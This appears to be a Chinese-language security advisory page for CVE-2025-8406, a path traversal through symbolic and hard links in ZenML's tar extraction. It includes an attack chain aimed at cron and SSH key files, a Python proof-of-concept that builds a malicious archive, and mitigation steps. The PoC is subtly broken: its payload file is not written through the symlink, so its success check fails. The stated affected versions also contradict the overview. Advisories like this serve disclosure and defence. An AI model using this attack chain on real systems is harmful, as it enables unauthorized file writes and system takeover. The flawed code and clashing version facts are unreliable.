IPBUF安全漏洞报告
English
CVE-2025-8406 CVSS 7.8 高危

CVE-2025-8406 ZenML PathMaterializer路径遍历漏洞

披露日期: 2025-10-05

漏洞信息

漏洞编号
CVE-2025-8406
漏洞类型
路径遍历(Path Traversal)/ 任意文件写入
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
ZenML

相关标签

路径遍历Path TraversalZenMLMLOps符号链接攻击任意文件写入远程代码执行CVE-2025-8406高危漏洞tar解压漏洞

漏洞概述

CVE-2025-8406是ZenML机器学习平台0.83.1版本中存在的一个高危路径遍历漏洞。该漏洞位于ZenML的`PathMaterializer`类中的`load`函数中。当ZenML从`data.tar.gz`归档文件中加载数据时,系统使用`is_path_within_directory`函数来验证文件路径是否在预期的目录范围内。然而,该验证函数无法有效检测归档文件中的符号链接(symbolic link)和硬链接(hard link),攻击者可以构造恶意的tar归档文件,利用符号链接绕过路径检查,从而实现任意文件的写入操作。如果被写入的是关键系统文件或配置文件,攻击者可以进一步实现任意命令执行,对系统安全造成严重威胁。该漏洞的CVSS评分为7.8,属于高危级别,需要本地访问权限但无需认证,且需要用户交互(如加载恶意归档文件)。此漏洞由[email protected]发现并报告,披露日期为2025年10月5日。ZenML作为一款流行的开源MLOps平台,广泛应用于机器学习工作流管理和模型部署,因此该漏洞可能影响大量使用ZenML的企业和开发者。

技术细节

该漏洞的核心问题在于ZenML的`PathMaterializer.load()`方法在解压`data.tar.gz`归档时使用了不充分的路径验证机制。具体技术细节如下:

1. **验证机制缺陷**:`is_path_within_directory`函数仅检查解压后的文件路径是否在目标目录范围内,但对于tar归档中的符号链接和硬链接,该函数无法正确识别其真实指向路径。

2. **符号链接绕过**:攻击者可以创建一个包含符号链接的恶意tar归档文件。符号链接指向目标目录之外的位置(如`/etc/cron.d/`或`/root/.ssh/authorized_keys`),当`tar.extract()`解压时,符号链接会被创建,然后通过符号链接写入的文件将绕过`is_path_within_directory`的检查。

3. **硬链接攻击**:类似地,硬链接也可以指向目标目录之外的文件路径,利用硬链接的特性绕过路径检查。

4. **攻击流程**:
- 构造包含恶意符号链接/硬链接的`data.tar.gz`归档
- 通过ZenML的artifact加载机制触发`PathMaterializer.load()`
- 解压时符号链接被创建,随后文件被写入到符号链接指向的位置
- 实现任意文件写入,可能覆盖关键配置文件或脚本

5. **影响升级**:如果被覆盖的是计划任务文件、SSH密钥文件或Python脚本等,攻击者可进一步实现远程命令执行,完全控制目标系统。

攻击链分析

STEP 1
步骤1:构造恶意归档
攻击者创建一个恶意的data.tar.gz归档文件,其中包含指向目标目录之外的符号链接或硬链接。符号链接可以指向系统关键文件路径,如/etc/cron.d/、/root/.ssh/authorized_keys等。
STEP 2
步骤2:投递恶意归档
攻击者通过ZenML的artifact共享机制、模型注册表或其他数据交换渠道,将恶意归档文件传递给目标用户或系统。
STEP 3
步骤3:触发加载流程
目标用户或系统在ZenML中加载包含恶意归档的artifact,触发PathMaterializer.load()方法的执行,开始解压data.tar.gz文件。
STEP 4
步骤4:绕过路径验证
is_path_within_directory函数对符号链接和硬链接的检查不充分,无法识别其真实指向路径,导致恶意文件通过验证检查。
STEP 5
步骤5:任意文件写入
解压过程中,符号链接被创建在目标目录内,随后通过符号链接写入的数据实际上被写入到目标目录之外的系统敏感位置。
STEP 6
步骤6:权限提升与命令执行
如果覆盖了计划任务文件、SSH授权密钥、Python脚本等关键文件,攻击者可以实现远程命令执行,完全控制目标系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-8406 - ZenML PathMaterializer Path Traversal PoC Vulnerability: Path traversal via symbolic/hard links in data.tar.gz extraction """ import tarfile import os import io import tempfile def create_malicious_tar(output_path, target_file): """ Create a malicious tar.gz file that exploits the path traversal vulnerability by using a symbolic link to point outside the intended directory. """ with tarfile.open(output_path, "w:gz") as tar: # Add a symbolic link pointing to a sensitive file location symlink_name = "evil_link" info = tarfile.TarInfo(name=symlink_name) info.type = tarfile.SYMTYPE info.linkname = target_file tar.addfile(info) # Add a file that will be written through the symlink payload_content = b"malicious payload content\n" payload_info = tarfile.TarInfo(name="payload.txt") payload_info.size = len(payload_content) tar.addfile(payload_info, io.BytesIO(payload_content)) def exploit_via_symlink(target_file="/tmp/cve_2025_8406_pwned"): """ Main exploit function demonstrating CVE-2025-8406. Creates a malicious archive and simulates the vulnerable extraction process. """ # Create temporary directory for extraction with tempfile.TemporaryDirectory() as extract_dir: # Generate malicious tar.gz malicious_tar = os.path.join(extract_dir, "data.tar.gz") create_malicious_tar(malicious_tar, target_file) # Simulate ZenML's PathMaterializer.load() behavior # The vulnerable is_path_within_directory fails to detect symlinks with tarfile.open(malicious_tar, "r:gz") as tar: for member in tar.getmembers(): # Vulnerable check: doesn't properly handle symlinks if not is_path_within_directory_vulnerable( os.path.join(extract_dir, member.name), extract_dir ): print(f"[BLOCKED] {member.name}") continue print(f"[EXTRACTING] {member.name} -> {member.linkname if member.issym() else 'file'}") tar.extract(member, extract_dir) # Verify exploitation if os.path.exists(target_file): print(f"[SUCCESS] File written to: {target_file}") with open(target_file, 'r') as f: print(f"[CONTENT] {f.read()}") def is_path_within_directory_vulnerable(path, directory): """ Simulates the vulnerable is_path_within_directory function. It does NOT resolve symbolic links, allowing traversal. """ abs_path = os.path.abspath(path) abs_directory = os.path.abspath(directory) # Bug: doesn't use os.path.realpath() to resolve symlinks return abs_path.startswith(abs_directory + os.sep) or abs_path == abs_directory if __name__ == "__main__": print("[*] CVE-2025-8406 PoC - ZenML PathMaterializer Path Traversal") print("[*] Creating malicious archive with symbolic link bypass...\n") exploit_via_symlink()

影响范围

ZenML < 0.83.1(具体修复版本请参考官方commit 5d22a48d7bf6c7f10b748577c2be79cc7969d398)

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)禁止ZenML加载来自不可信来源的artifact文件;2)在系统层面限制ZenML进程的写入权限,避免其访问系统关键目录;3)使用文件完整性监控工具检测异常的符号链接创建行为;4)在解压归档前手动检查tar文件内容,特别注意SYMTYPE和LNKTYPE类型的条目;5)将ZenML部署在容器或沙箱环境中,限制其文件系统访问范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表